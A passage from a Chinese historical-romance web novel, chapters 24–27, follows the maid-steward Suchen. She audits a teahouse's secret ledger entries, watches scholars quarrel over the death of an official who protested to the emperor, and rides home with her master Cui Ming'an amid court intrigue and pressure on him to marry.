听了她的话,崔明安没有回答。
或者说,这种没有意义的问题,本来没有必要回答。
他眼眸幽深,分明藏着无限算计,却被那似水一般的温润尔雅藏住了。
素尘看不出他眼底深处的隐秘,但她也知自己的小伎俩怕是躲不过他。
崔明安扫了眼她手里的账本:“茶楼又出问题了?”
文竹今天和他一起回来,见素尘手里拿着东西,自然地走上前为崔明安脱下外面的披风。
还穿着官袍的男子跨步走到桌案前坐了下来。
素尘故作苦恼:“是啊,上次掌柜的说账房整理,一时间找不到我要的那一册。”
“所以?”
“上次说过几日再去,算算也到时候了。”素尘摇头,想出府的打算摆在明面上。
崔明安听着这话,似是想劝些什么,但他开口只提醒了一句:“近来外面有些乱,尤其是城南多了许多难民,怕是有些会挤来茶楼附近。”
他拿起摆在一旁的整理好的考生名册,摆手不欲多言。
还味得到赦令的素尘将手里的账本放下,眉眼弯弯:“公子,奴婢今日挂了灯笼,可是比其他院挂的都要早?”
外面日头还未暗下,确实是整个府里挂的最早的。
素尘刚被他带回来时,整个院子终于多了个同龄人,她却总是安静地缩在角落。相处时间长了,云竹文竹二人在闲着时,总会想方设法地逗她玩。每日傍晚,崔明安从国子监那儿回来时都能看到她独自坐在门口,把院门的灯笼挂着等他们回来。
崔明安想起那时光景,低头轻笑一声。
她素来是装模作样的一把好手,崔明安看了她一眼,顿了一下,最后松口:“多带些侍卫……”
“如果是茶楼再出问题,你也无需再去了,近来京城多事,茶楼口舌众多,难以管理……干脆关了。”崔明安轻描淡写,仿佛只是把临时支起的小摊子撤了而已。
素尘眼眸
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微动,但还是压下情绪答了声:“是。”
虽茶酒置于一起有些奇怪,但这间茶楼位坐名动京城的醉仙楼对面,更是整个京城学子及权贵雅士最喜的品茗之地。光是素尘手里的这本账目,怕是里边每一笔收入都及其可观。但在他的口里,却是一间觉得有些麻烦便可关掉的小铺子罢了。
她心里暗叹一声,自己还担心太原崔氏的家产呢,还是先关心自己吧。
素尘回房,拂过木匣子的一角。
日月交替,窗外风声呼啸,日光伴随着男人手中剑花挥舞声,已经对了好一会账的她推窗看去。
身影绰绰,那人却已经换上朱色官袍,手中笏板上混着的墨香味浸了过来。身上所披是她昨夜整理好的墨色狐毛披风,他听见动静,临出门时回头看了她这处一眼。朱衣墨色下的那张玉容更是神清骨秀,他望着她,似是看到了什么,左眼一眯,勾唇笑了起来。
文竹看着他的动作,顺着他的目光看到床边的女子,无奈地跟着笑了起来。
素尘被他们二人笑得有些嗲毛,疑惑地歪头。
他们没开口,只是笑了一会离开了。
主人既然离开了,素尘也该出门了。
天色尚未亮起,她已经把今日府里的上上下下照常交代了一顿,等再次抬头,府里的主子都起身用膳了。
素尘抱着木匣子上了马车,掀开帘子的一条缝,看着街道上来往的人群。
离了朱墙瓦屋,路上的人愈发多了起来。
她看着熟悉的方向,又回头看了看后面跟着的持剑侍卫。
他们面色肃穆,对上素尘的目光时,只是轻轻点了个头。
素尘吞下想说的话,对着他们笑了笑便缩回了脑袋。
“薛大哥。”
马夫大哥听见车里女子小声喊他,声音刻意压低。
素尘见他有了反应,继续压低声音和他商量:“今日走南边那条路吧。”
马夫没有回应,但却手里缰绳微动,悄悄改了道。
“多谢。”
南边这条路分明与城南闹市更近,马车两边的人声却愈发清净。
素尘偏头,却发现这哪里是清净,分明算得上冷寂了。
马车上的银铃摇摇晃晃,响彻整个街道。
每个人低头敛声屏气,神色恭敬悲戚。
徐府到了,素尘将那帘缝拉紧了一些,透着缝隙望着那牌匾上大气飞扬的“徐”字。
牌匾下的府门紧闭,拉着白绢,却不允吊丧的人进出。
放眼望去,只有几个身着素衣的学子模样的人,含泪将手里拿着的酒壶放在府门外。
素尘垂眸,旁边放着的木匣子看来不能直接送进去了。
马车缓缓向前走,她这才看见木匣子边上的一朵花蕊上染上了一点黑红。
怕是在徐姨娘院里无意染上的,她手指蹭了蹭,却擦不了雕花里的那处。
“姑娘,起风了。”马夫抬头看着徐府里飘出些白色纸花瓣。
素尘掀开纱帘,忽然飘进一枚纸瓣,划过她的鼻尖,悠悠掉在那血迹上,如同那木雕花浸着朱墨开出绚烂的花朵。
“徐大人一路走好。”停在马车边上的锦衣学子声音低沉熟悉,略带哽咽。
24. 第 24 章
学子身音哽咽,不似往日淡然自如,素尘一时未反应过来,等她伸头回望时,只看见那人清隽身影。
看不见他的模样,但整个京城,如此矜贵玉郎,素尘也很难猜到另一位公子。
她在男子回头那刻,正身躲开了这次会面。
鼻尖充盈的黄纸味,也在马车驶离时,愈发淡了下来。有人捂住别人的嘴,不愿徐大人的丧事传出去。也有人睁开眼睛,看到了一直捂在自己眼睛上的手。
到了茶楼,素尘从锦囊里取出一银块,借着下车的动作,悄悄放到马夫水壶边。
她扶着车壁,慢慢踏到石地上。
过几日便要科考了,就连崔明安这个主考官也日日准备起来,这茶楼里却不乏那些个被近来变故激得心神不宁的考生。
她将头上帷帽纱幔放下,遮了视线,便也感觉安静了不少。
伴着茶楼中心水榭处琴师们转轴拨弦声,桌上煮茶的壶上萦绕着丝丝烟雾。
今日客人众多,却不如之前那般喧闹。
青衣学子靠在椅背上与身旁同窗吟诗作对,字字句句,皆彰显学问。素尘坐在账房里,透过半窗瞧了他一眼,果真是世家子弟。
那人模样仿佛是今日便是过几日的考场似的,不住赋诗,恨不得把自己肚子里的学问墨水全部舞弄出来。
旁边那些为了与同窗讨论科考事宜的学子听着他的卖弄,皆露出好奇之意。
“姑娘……找到了。”掌柜出声打断了素尘探究的目光,他递过来了一本账本。
上面端正地用小楷写着账目时段和各个明细分项。
素尘用手翻着纸页,看着前面的墨迹,意味深长地轻笑一声。
“姑娘……”还不等掌柜说完,素尘伸手做出噤声的手势。
她不再一页一页翻,直接比对着自己从府里拿过来的那本账,翻开最重要的那几页。
“掌柜,这几处您再看看呢?”她指着自己划了红圈之处,语气温柔,“借贷方怎么未写清楚?”
掌柜见还是躲不过,只能狡辩:“有些公子小姐确实喜欢带着帷帽将面部遮住,他们不肯说,咱们也实在不知是何人。”
“这几笔不算小生意吧。”
“实在是不知是何人啊!”他摸着自己的胡子,眼神飘忽不定,“更何况他们的身份还是不查清楚为妙。”
“你既然这般遮掩,怕是不止上次那位吧?”
听了这话,掌柜动作一僵,但他想起自己的苦劳,这楼里上上下下的收入,忽然有了底气:“姑娘怕是早就猜到了大概,不然也不会有此一问。但姑娘啊,生意到了手里,岂能不做?”
“那些人的生意也是你敢插手的?”素尘神色不变,依旧是那副云淡风轻的模样。
掌柜看着素尘腰带上挂着的崔氏木牌,上面花纹精细,暗示着女子在崔府多受重视。他知素尘的手段,也无甚恶意,只希望能说服她,少些莫名事端:“请看这个。”
他从暗处藏着的锦盒里拿出一块金锭,和上次似是同一批铸造。素尘摸着上边的官印,抬眸和掌柜对视。
账房与外面只做了个半窗,无甚木窗遮掩,除了纱幔遮光,怕是也只有那总是卷起的竹帘了。
掌柜看了眼外面情况,确认了外边无人看过来且看不真切里边人动作后才压低声音说:“确实不是上次那位……来的人不是同一批,分明不知道对方的存在。”
“姑娘放心,他们没有表明身份,我们也只是开门做生意。那些政治场上的事和我们这些铜臭之人无甚关系,”掌柜把自己心里话说出来,“先前确实有几分顾虑,不敢写进账里。但是如今京城动荡,也不知能做多久生意了。”
“罢了,今日回府后便会将您这番话带到。”素尘这次出行本就醉翁之意不在酒,也没打算对掌柜下手。
她出去挑了个喜欢的位置坐下,让掌柜上一壶茶水,今日也想听听茶楼琴师新曲。
虽不知她今日突然有这般悠闲,掌柜的也没多说什么,只是默默走到前门让店里伙计注意着这边一些。
今日琴师擅琵琶,粉裙绰约,抱琴掩面。
她似是注意到素尘,抬眸向她腼腆一笑。玉指虚虚向她这处轻轻隔空一点,再忽得收回放在弦上。乐声渐起,引得旁边轻声交谈的茶客们住口听她弹奏。
先前那招摇学子也停了声,闭上眸子认真听曲。
那琴师手中琵琶音忽然急促起来,铿锵有力,仿佛在控诉着什么。水榭上布着的纱幔飘起,露出她的容貌。素尘分明看到她嘴角噙着笑意,看了眼那位学子。
心里顿觉不妙,她猛的转头看了过去。
那学子仿佛听出了什么弦外之音,眼神变得悲戚起来。
响彻在茶楼的乐声忽然顿了一下,在大家屏气敛声时,那双素手轻轻一挑,先前急促的琴声变得婉转哀怨起来。
不对!这琴师在挑动各位学子的情绪!
素尘抓紧自己手里一直捏着的木牌,想起身离开。但想起什么,又继续坐了下去。
果然不出她所料,这弦外之音自然有人听了出来。
那锦衣学子环看了一圈,最后仰起头来喊了一声:“吾心哀矣!科考在即,在座即将赴考的各位难道不觉得……”
他没说是什么事,但有些关心朝堂的人早就明白了,也有的完全接触不到上面的消息,如今一脸茫然。
他哽咽着,说不出话。
但他出声了。
素尘紧紧捏着手里木牌,上面边角和她袖中玉坠一样,膈得她生疼。
如果放手了,或是抬起手,她也就不疼了。
但是她此刻不敢,怕脑海中徐姨娘吐出的血又染上她的衣裙。
“章景你休得胡言!”被高姓子弟们围着的王家公子嗤笑一声,“徐大人分明是自己出了意外,怎么被你说得好像有什么隐事一般?”
原来他是章景。
素尘端起茶杯,看着他们。礼部尚书之子,身份不低,难怪敢出头。
章景瞬间就被激怒了,他指着王公子的鼻子骂道:“文臣死谏被你们这群混蛋诬陷成如此!可恶可恨!”
那些不明情况的人终于听懂了,面上皆露出悲戚和不安的神色。他们都是想做官的,文官皆以死谏为荣,若是连自己走到这一步也会被如此对待……
这位王公子也是本次参加科考,素尘记得王夫人让人
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送了不少礼和拜帖来崔府,扰得她每日都得想个理由退回去。
但王公子显然和他母亲不是一条心啊,科考在即却不温书,茶楼里众多学子聚在一起,皆是互相考校,讨论问题。但他却是和纨绔朋友们说笑玩乐,到茶楼而不是酒楼,恐怕也是想看看其他人努力的模样罢了。
出身王氏,他又不是只有科考这条路。
两人对骂,说尽那些不显龌龊低俗的优雅字词。素尘挑眉,矛盾还未完全出现。
她看着只满脸悲愤的章景,估计他只知徐大人死谏,不知陛下所做何事。
章大人还是抱有侥幸吗?
但对面的王公子就显然比他清楚内情多了。不需素尘多瞧,他自己就忽然说了一句:“不过是个佛头,何必呢?”
在座的各位都不是蠢笨之人,听着这话,又想起城南的混乱和传言。尤其是那些寒门子弟,虽不知朝堂事宜,但都下榻于城南客栈,对那些传闻略有耳闻。
他们才是真正抱有匡扶天下梦想的人。
他们加入进来,嘴里攻击性立马加强了。对手既然已经不是礼部尚书之子,以王公子为首的纨绔子弟把从那些个花柳之地学来的浑话全说了出来。
坐着喝茶的小姐夫人们纷纷戴上帷帽,打算出去了。
“乌烟瘴气!”有个姑娘轻声骂道,但看见一脸茫然的掌柜,还是温柔地说,“下回来轻给我们清场。”
茶楼掌柜听着这话,忙点头感谢。
说来有趣,尽管茶楼近来总发生这些冲突,但那些前来品茗的雅客却愈发多了起来。
“爱热闹嘛,人之常情。”墨衣公子坐到她的对面,自顾自地给自己倒了杯茶。
素尘看着她,笑道:“你怎么看?”
“看什么?看为什么各位姑娘们对这里情有独钟?还是看素尘姑娘竟然也是爱看热闹的性子?”王曈笑得轻佻,伸手捻起一块茶点,自顾自地吃了起来,“好吃好吃!”
“既然好吃,公子就多吃些吧……”素尘顿了顿,看了眼那边如今满嘴脏话的“王公子”,“话说那边那位也姓王。”
她盯着王曈的神色,不放过一丝细节。结果对面这人听了她的话,转头看了那边一眼,带着笑意回头:“嗬,那还是我这个姓王的好。”
不像是认识的模样……嗯?
素尘嘴角微微上扬,没有多说。茶楼设计巧妙,比起寻常阁楼,怕是更像一处雅院。
有二层高楼,但还是不如对面醉仙楼高耸。
她抬头看了眼酒楼方向,正好可以瞧见三楼靠窗的女子。
殿下一直看着这边的闹剧,见她抬头,举起酒杯遥遥向她抬手。
素尘端起茶杯与她隔空相碰。
她面上带着得体的微笑,但桌下踢了王曈一下。惊得瞪大了那双漂亮的眸子:“怎么了?”
“现在什么时辰?”素尘压低声音,面上笑容不便,甚至又对着那边的公主笑了笑。
“……巳时吧,快到吃午食了。”
“午食之前便来饮酒……”素尘喃喃,“殿下当真嗜酒啊?”
王曈眨眨眼,仿佛见到了知己一般:“是啊,简直是个酒鬼!”
25. 第 25 章
她们在这边低声说楼上人坏话,那边的学子们说的话愈发激烈。
光是在旁听着,素尘都从那几个知道事情的世家子口里了解一二了。
真真不愧是高门贵姓之家,嘴巴浑话一句不少,倒是还能把事情聊清楚,甚至还附上几句正经政言。
“我还以为他们真是酒囊饭袋呢。”王曈也是一乐。
“世家底蕴嘛。”素尘指着那位章公子身旁的布衣学子,“至今未吐一句脏话,却是好几次让他们说不出话。也不愧是一路考上来的佼佼者。”
她还没说完,一个完全跟不上大家骂人节奏的纨绔竟然直接大骂了一句徐大人,那布衣青年就将自己的布鞋脱下扔到那人头上。
“死者为大!”他投得准极了,直中那人额心,将头上玉冠击落在地上。他看着对方凌乱的模样,还端端正正地向他行了一礼,“在下手滑。”
只见王曈又悄悄说了一句:“这准头……和你有得比!”
“……”
“什么穷酸破落户!你是何人?”
“是你大爷!”王曈本就在他出言不逊时便面带怒意,此话一出,便直接站起身来直直盯着他。
怎么突然鲁莽行事?素尘感觉按住自己头上帷帽,保证他们看不见自己的容貌。
楼上公主殿下饶有兴致,显然不在意会不会有人认出王曈来。
王曈一副比纨绔还纨绔的模样,瞟了眼地上玉冠,乐呵呵地:“我还以为是哪家富可敌国,原来是太原吴氏啊。”
没听懂的人疑惑问道:“太原吴氏是……”
“太原王氏的看门人啊。”王曈眨眼。
“噗嗤……”那章公子显然听懂其间深意,和身边同伴解释,“吴家祖上是王家看门奴仆,应救护有恩,王家给他买了个官。”
王曈锋芒毕露,嘴上更是不饶人。
见那些纨绔嘴上不干净,她忽然一笑:“你骂人像撒娇。”
“你!”
见她是个泼皮无赖,与她同坐的素尘也被人盯上,那位吴公子上下打量她,最后不知是判断出什么,自信一笑:“这位公子如此张扬,身边相好的姑娘却如此素净?”
又是素净,素尘摸了自己身上的首饰和腰带配饰,实在不知这些贵人究竟如何判断的。
王瞳没回头,只是侧身将她挡在身后:“在下只是与这位姑娘拼了个桌,并不相识。”
素尘抬头,却看见一双鞋向王瞳砸来。王瞳下意识一避,等她想起身后女子时已经晚了。
王瞳忙伸手去拦,可一块银块比她先一步碰到那鞋履。
“崔大人!”章公子率先看见门口的男子,直接躬身行礼。
崔明安没穿着官袍,反而一身青绿锦袍。虽是一副翩翩公子模样,但在各位考生心里,恐怕都想起过几日的科考。
确定了素尘没有伤到,才抬手让各位不必多礼:“在下今日只是过来喝杯茶,就不叨扰各位……清谈了?”
他扫了眼喧闹中心的几个人,没有多说什么,只是直直走到素尘面前,捡起那只鞋履:“这是哪位的?”
章公子和王公子等人无论阵营,皆向后退了一步,将那位始作俑者暴露出来。
姓吴的公子慌忙的看了眼王公子,求救无果,只得硬着头皮:“崔大人,是在下。”
瞧着他欺软怕硬的模样,素尘悄悄翻了个白眼。
崔明安扔给他,眼神淡漠:“请问这位公子为何砸我崔府的人?”
素尘起身向他行了个礼:“公子安。”
“她……”
素尘没有摘下自己头上帷帽,只是偏头向他们行礼:“奴婢名唤素尘。”
崔府管事的名字在这京城还是有些响亮的,尤其是和崔府有交集的公子。
她在女眷口中几乎是事事得体,简直算的上是奇女子。过目不忘之才在年初宫宴中更是令人咂舌。
王曈悄悄隐入人群中,与素尘对视一眼,便低头想离开。
但崔明安目光停留在她身上,尤其是在二人对视的那一刻,他心中疑虑更甚。
云竹得了暗示,手慢慢摸上腰间佩剑。
“崔大人可有听说近来变故?”一位公子突然开口,引得各位学子纷纷向崔明安投来儒沐的目光。
崔明安自少时在北疆献计逼退胡族一举成名,虽未参加科考,却以当年会考题目反写了一篇《论知行疏》。硬是把当年为难他的北部贪官污吏全部怒斥了一遍,将整个驻北官场整顿了一遍。
从北地来的学子对他尤其崇拜,崔家鹤珍公子名声显赫,尤其是不少寒门出身的学子以他为榜样,如今更是希望他能如当年模样,为他们指点迷津。
素尘瞧他被围了起来,便和他说了一声自己要去后面账房拿东西。
崔明安看着她往后院走去,视线被另一学子挡住。
他们眼神正义,仿佛科考以后,真的会如他们所愿,有一个匡扶天下,大有作为的前途。
虽然心里尽是悲叹,但他面上还是带着微笑,和传闻一般儒雅随和,认真地与他们探讨着书中疑惑。
他无暇关注后院的素尘,自然也就没注意到那个眼熟的男子紧跟其后。
王曈刚走到账房附近,便被躲着那边视线的素尘一把拉到后门处。素尘将她嘴巴捂住,神色谨慎地看了眼崔明安和云竹方向,确定了他们全然没有看向这边才送开。
“你疯了吗?”素尘压着声音,实在是不解,“作为公主殿下身边的人,你不怕被认出来吗?”
王曈耸肩:“不怕啊,除了你们崔府的人,无人知道公主身边有我。”
“你上次……”素尘忽然明白,这人怕是上次一时兴起穿了公主府侍女的衣裳,“罢了,我家公子来了,你可小心。”
扮做男子的王曈忽然扶起她的手,翩然一笑:“刚刚确实慌了下,多谢姑娘。”
“……”素尘漠然挥开她的手,想起她适才冲动的模样,眼神微动。
“公主每日都来饮酒吗?她可否能进别人府里?”
王曈听了这话,翻了个白眼:“这个酒鬼其实更喜欢闯进别人府里饮酒。”
“你……”
云竹的声音忽然传来:“素尘?”
他的声音愈发近,惊得两人静了声。
素尘拉住准备离开的王曈,将手里木牌和袖中藏着的玉坠拿出,塞给她:“求殿下出手相助。”
云竹推开账房门,四顾无人,神色立马变得凌厉起来。
“公子……”
“云竹?”素尘抢在他开口前,从后门处进来,面带疑惑地看着他:“怎么了?”
云竹眼睛微眯,抬步跨过门槛,左右看去。
没有看见什么奇怪的人。
“你怎么出来了?”他回头,直接问道。
早就熟悉他不知委婉为何物的性子,素尘自然不觉得紧张,熟练地胡说八道:“前几日在后
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门见过一位乞儿,想着今日能否再见到。”
云竹默然,随后才回身向崔明安方向走去:“公子叫你准备回府。”
崔明安在那群学子面前不像是一个身边高位的人,更像是一个温和的教书先生,只是多了一身矜贵气质和过分昳丽的面容罢了。
他看了眼回来的素尘,扫了她手中新取的账本。
“在下告辞,在此处祝各位此次得偿所愿,蟾宫折桂,金榜题名。”他拱手,向他们行了一礼。
学子们纷纷后退一步,向他行礼。
崔明安带着素尘离开,回头又望了这些虽出身各异,观念不一,所对官场充满相似憧憬的学子。
他向他们微微一笑,才拉下车帘。
与他相对坐于车内的素尘知道他此时心情有些复杂,便没有主动找话,
但崔明安却开了口:“适才与你坐在一起的那位是何人?”
他没有忘记这回事,心中狐疑。
素尘想左右而言其他,但此时不能多说,她面上依旧不慌不忙,真假参半地说:“奴婢在饮茶时,那人找不到位置,恰好坐于奴婢对面。”
她继续说:“只是没想到他如此冲动。”
他究竟信没信,素尘心里也没底,只知道崔明安不再追问此事,反正王曈身份之事,自有人担心。
崔明安沉默着,但不自觉皱起的眉心显着他脑中思索。
“公子看!”素尘伸出手,将手中物什放于他身旁。
崔明安垂眸,看到那块熟悉的银块时,不自觉笑了出来:“你这……哈哈哈!”
他终于真心笑了出来,素尘却被笑的有些不好意思:“公子出手阔绰,只是奴婢还是忍不住悄悄捡了起来。”
适才他也是情况紧急,便随手将账台上抢过刚收来的银块扔了过去。
云竹让茶楼记公子账上,素尘捡起来后也就没有还回去。
如今竟然能排上这个用场,素尘心里也是一乐。
气氛缓和了下来,崔明安本来还想问的话便不在多说。
素尘也知自己躲过一劫。
她当然知晓他要问什么,自己当着侍卫的面去钱庄存那个木匣子,又怎么可能瞒得过公子。
她本就对那木匣有解释,若是可以省去这一环节,自然轻松不少。
撒一个慌,怕是后面要扯出更多借口自圆其说。
她手里从钱庄拿来的木牌少了,顿时轻松不少。
人在得意之时,容易遭到反噬。
马车颠簸,她本就得意忘形,一时不察,直接被颠得向前扑去。
眼看着脑袋要磕在车壁上,怕是又要见血光。一双手扯住她的衣领。
“呃!”素尘脖子被别住,下意识挣扎。扯住她那人身影跟着一晃,不知这路究竟如何,竟然颠簸得更大了。
与素尘想象中的疼痛有些不同,代替它传来的是温热的触感和一声闷哼。
“公子没事吧!”马夫慌张地问,“适才忽然有一乞儿从路边冲了出来,旁边摊子上的东西也倒了……”
崔明安说了句没事,但阴差阳错被他户外怀里的素尘额头磕在他的脖颈处,等她费力抬头才看见崔明安吃痛地摸着自己额头。
“今日不管怎样额头都得见血吗?”崔明安摸着自己撞在车壁上而出血额头,有些无奈。
素尘不敢多嘴,只默默庆幸自己没有私吞那银块。
怕不是带着什么诅咒?
26. 第 26 章
银子隐隐泛着外边的日光,平日里自己绝对会对它感到十分喜爱,可今日素尘实在不敢多瞧。
崔明安自然察觉到她手上动作,心里那些弯弯绕绕几乎是摆在明面上了。
他气笑出声。
素尘小心地抖了下,默默收回自己的手,装作什么事都没发生。
马车与她来时那辆不同。估计是崔明安过来,马夫得了消息便提前回府换了车。主子用的车驾奢侈得夸张,尤其是软座底下还放着收纳物件的木屉。
素尘将里边备用的药箱拿出来,小心翼翼地为崔明安上药。
“嘶——”倒吸一口凉气。
崔明安听到这声,奇怪地低头看着面上满脸疼意的女子:“你也受伤了?”
真正谄媚的人无需多做思考,张口就来:“伤在公子身,疼于素尘心呐!”
她将手里药瓶放下,做西子捧心状。
动作夸张,语气做作。
崔明安摇头扶额,他挥手让她一边凉快去。
素尘弯着眉眼将药箱整理好,拿出一块沾了药粉的纱布便将药箱放回木屉里。
“公子,手……”素尘自然地拉过崔明安的右手,为他擦红的伤处绑上纱布,“这有些疼。”
受伤的人显然没察觉自己这里还有处伤,虽然没有表现出来,但是他微愣的目光却暴露了他心里的诧异。
草药香在马车里蔓延,将两人鼻间距离无意地拉近。尤其是在崔明安眼里,他看着素尘微微颤抖的睫毛,像园里停留的蝴蝶。
蝴蝶再次煽动翅膀,露出那双明亮的眸子。
“好啦!”素尘得意。
她抬眸的瞬间刚好看见崔明安唇角微动,好似要说些什么却又停了下来。
“您想说什么?”眼珠子一转,便了然邀功:“奴婢心里记挂着公子,自然细心。”
“……”崔明安抬手,试着握拳,又慢慢松开,“确实细心,不然也不会呆呆看着那人将鞋扔你脑袋上。”
他话说得平静,攻击力却强。
素尘眼前仿佛又出现了那双鞋,她皱着眉头闭上眼,不住地摇头,希望可以把这段记忆抛在脑后。
马夫和侍卫将外边处理好,等素尘掀开纱帘往外看时,马车已经开始平稳向前走了。
放下帘子,没有看见角落处悄悄望着她的乞儿,心里暗自记下马车上刻着的崔氏族徽。
素尘收回目光,转身安静地坐在原处,等待着崔明安吩咐。
他只是困倦地支撑着额头,静静地看着前方虚空。
本该是上朝班的点,却穿着常服坐于此。素尘心里有所疑虑,但不敢多问。
崔明安似是听到了她好奇的心声,竟然直接开口谈及此事:“今日陛下未上朝。”
“陛下身体不适?”算不得稀奇的事,近些年总会生几次病。
崔明安听了她的话,只讽刺地笑了笑,道:“非也。”
他掀开帘子,指向城南那尊几近遮天的石佛:“陛下今日并未给出理由。”
“?”素尘觉得有些许荒谬,连前朝亡君都未曾如此。连理由都懒得编,他疯了吗?
此乃非议皇室,她不敢多说。
崔明安竟然直接讽刺地说:“陛下确实不需要任何理由。”
他摩挲着缠在自己右手的纱布,眸色幽深。
不知是听了他的话以后心里有些在意,素尘忽然觉得今日街道行人气氛的确奇怪。
平日里不断的叫卖声没了,分明少了交谈声,但却一点儿不显安静,反倒是一些低沉的、暗处的骚动声让素尘一时间没发现。
她忽然就不想掀开纱帘一探究竟,本来以为是因为这些异样是徐府变故所致,可这条路……和来时不一样,与徐府更是隔了几条街。
崔明安看着她坐立难安却又想堵住自己耳朵自欺欺人的模样,不禁笑出声来。
他将皇城瞒不住的秘密提前交代出来:“城南佛头已经修好了,是按照陛下模样修的……”
虽是从公主殿下那儿得了消息,但是如今听到崔明安证实,素尘心中依旧大骇,都无需故作不知情,面。上的反应已经足够真实了。
“那……府里可要准备些什么?”素尘问,她知道崔明安不会无缘无故与她说这些事的,“下月府里本要去城南布粥。”
崔明安看着她,眼神里尽是掌握一切的神情:“一切照常。今日回府后,陪我演出戏。”
公子如竹如兰,虽入朝弄权,身处世家中心,却天下哪一位学子不知他的清风朗月?
侍奉他左右,素尘却清楚他藏在云淡风轻下的野心。
鹤珍公子,和传闻不同。他入仕以来,怕是一次文人雅客的清谈会都未曾参加过。
素尘头上帷帽早已取下,听到这话,面上浅笑盈盈。
看着她这副模样,崔明安敛了眸子,与纱帘上隐隐透出的南边石佛的动作一样,伸出右掌立于胸前。透进素尘眼里,纱帘上的佛影和他几近重叠在了一起,他嘴角勾起,为他本就昳丽的容貌覆上了一层晦涩神秘的美。
“公……”素尘喃喃。
他讽刺地笑了起来,看了眼纱帘,尽是轻蔑:“让祖母把府里供着的佛都撤了吧。”
“老夫人不信佛。”素尘声音悠悠传来,她恭敬地低着头。
崔明安动作一顿,随之笑的更加张扬,与平日处事不惊的模样全然不同。
第一次见到他这样,仿佛那从画里出来的公子变成了另一个人,一个痛苦、偏执的疯子。
素尘不敢多言,只呆愣着看了他一瞬。
就是这一瞬,两人目光相对。素尘看到了他藏在浓密睫毛下的红晕,深沉淡然的眸子里藏着破碎和悲伤。
视线相触之后无论内心如何,马上弹开。
“你……”崔明安先开了口,除了眼尾微红,已经看不出他适才的失控。但他此刻的眼神却仿佛失控的是素尘一般。
“奴婢怎么了?”素尘看着他,一切仿若平常。
她心里却是惊涛骇浪,无数的猜测在脑海里回旋,但都不至于让他如此。
“你觉得我几时可以辞官归隐?”不知是不是刚刚已被她看见失态,他竟真的摆出一副要在这回府的马车里与她促膝长谈的模样。
他声音温柔,仿佛两人真的如同知己一般。但素尘开口之前低眸看了眼自己坐着的软垫,才扬起笑回答:“奴婢以为……公子不出十年便能官拜丞相。”
“我问的
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是辞官归隐,你为何如此答复?”崔明安已经全然恢复以往模样,听了她的话,脸上笑意微敛。
素尘以坐转跪,自然地躬身行礼:“公子乃凌云飞鹤,官拜丞相,又岂会自折羽翼当那落于乡野的闲云野鹤。”
果不出她所料,崔明安虽似清风朗月的仙君,但若是他真想归野乡林,也不会有如此一问。
她于他不过是一个随手捡回来的奴婢,又怎么能和公子共议公事?她坐的地方依旧是矮主子一截的木凳,方便她跪下行礼的位置又怎么让她敞开心扉?
听了她的话,崔明安眼里闪过一点意外,却满意之色最为明显。
素尘看到那一分满意,心里顿时安定下来。
他们二人的交锋停在了马车到府的那一刻。
素尘先下了车,回身迎崔明安。男子比她下车时要轻巧许多,他身上熏着的梅香比突然盖在她头上的帷帽先来。
“你忘拿了。”崔明安声音里不乏微微的戏弄之意。
素尘将帷帽摘下抱在手里,面上笑意不变:“多谢公子提醒。”
门房的人拉开门栓,费力地将崔府朱门拉开。
崔明安看着里面的人,笑着向前走去。
压低的声音却传进素尘耳里:“看戏的客人来了,走吧。”
素尘垂着头,只轻轻偷看了眼来人:“素尘已经开好嗓了。”
门里站着的嘉嬷嬷神色平静,只在崔明安来时恭恭敬敬地行礼:“几位大人登门拜访,老夫人与他们在中堂坐着呢。”
嘉嬷嬷陪在老夫人身旁多年,从世家鼎盛到皇族打压,大风大浪中屹立不倒,她布满皱纹的眼睛扫过素尘身上。
最后,锐利的目光化作一抹没有温度的笑:“还闻着有些药味,素尘姑娘可是还没养好身子?”
素尘动作顿了顿,笑着说:“是公子受了伤。”
不管嘉嬷嬷如何反应,她已经抬步跟上崔明安的脚步。
她连抬头看一眼公子都不敢,却整日围着自己转。素尘心里不自觉地想,崔府上下有时候是真的闲。
全府最忙的两个人一前一后的向中堂走去。
还未踏进门,便有许多奴仆停下手中活计向崔明安行礼,崔府管教下人礼仪本就严苛,如今一个个更是屏气敛声不敢多言。
素尘一扫便已七八分知晓里面情况,为了赶上崔明安而飞快摆动的裙摆忽然停了下来,举止投足都皆显清河崔氏作为世家之首的底蕴。
里面的人见他们一行人回来了,放下手机茶杯互相行礼。
是荥阳郑氏的郑五爷和上次来公子院叨扰的崔氏叔父。
先前分明京中无甚清河崔氏旁系叔父前来,如今倒是终于肯借着后辈的风,进京争利了。
都是崔明安的长辈,却也都是崔老夫人的小辈。
崔老夫人在崔明安回府时便已回房休息了,这两人本就各怀心思,见崔明安终于回来,却不提来意,顾左右而言他。
“鹤珍!自你担了会试主考官,怕是在京中风头无两吧哈哈哈哈!”郑五爷爽朗地开着玩笑,但眼睛触及他身后同样“风头无两”的素尘时,本就虚伪的笑容变得更加假。
“这便是你那金屋藏娇的奇才美人吗?”
27. 第 27 章
此话若是放在醉仙楼的酒席上,尚且算得上不拘小节,调侃罢了。但是跑到崔府说这句话……怕是有些不讲究了。
虽是被议论的人,素尘却不是可以开口说话的主子,自然眼观鼻,鼻观心地等着。
除了崔家叔父身上若有若无的檀香味让她不自觉想起今日城南变故,她几乎就是一个木头人般站在那儿。
“郑大人这是什么话,鹤珍做事向来稳当,又岂是贪恋美色之人,”崔家叔父摆出崔府长辈模样,看向崔明安,眼里尽是骄傲,仿佛前几日的事都是素尘的臆想,“鹤珍年纪确实也该成亲了,府里还是缺一位当家主母。”
崔明安含着笑,语气淡漠地仿佛不是他自己的婚事:“多谢叔伯们关心,鹤珍公务繁忙,无心婚娶之事,若是娶了妻,岂不辜负了人家?”
他话说得情真意切,却让不知为何突然做媒的两人找着了机会:“你仕途坦荡,自然要有一位贤内助……”
“府中自有祖母和素尘打理。”崔明安抢过话头,他看了素尘一眼。
素尘收到示意,心领神会地竖起耳朵准备。
对面显然没想到他会打断自己的话,但看面前年轻人姿态全然不负崔氏鹤珍公子的名号,只当是自己误会了。
一直沉默着的郑五爷冷冷扫了眼素尘,哼笑一声。
崔家叔父还在继续,语气里不乏带着不耐和轻蔑:“素尘……哈,她不过是一介奴婢!又如何能做的了崔府的主?”
他拿出手里准备好的册子:“既是主母,便从这几位小姐中选吧,无一不是家世相当,贤良淑德之模范啊!”
都不用上前去瞧,那三位小姐的姓氏就已经用金墨写的端庄秀气,崔家叔父生怕他看不出来她们如何高贵娴雅。
素尘在他说话时已经走到一旁,和云竹小声说些什么。她看了眼那几张拜帖,眨眨眼。
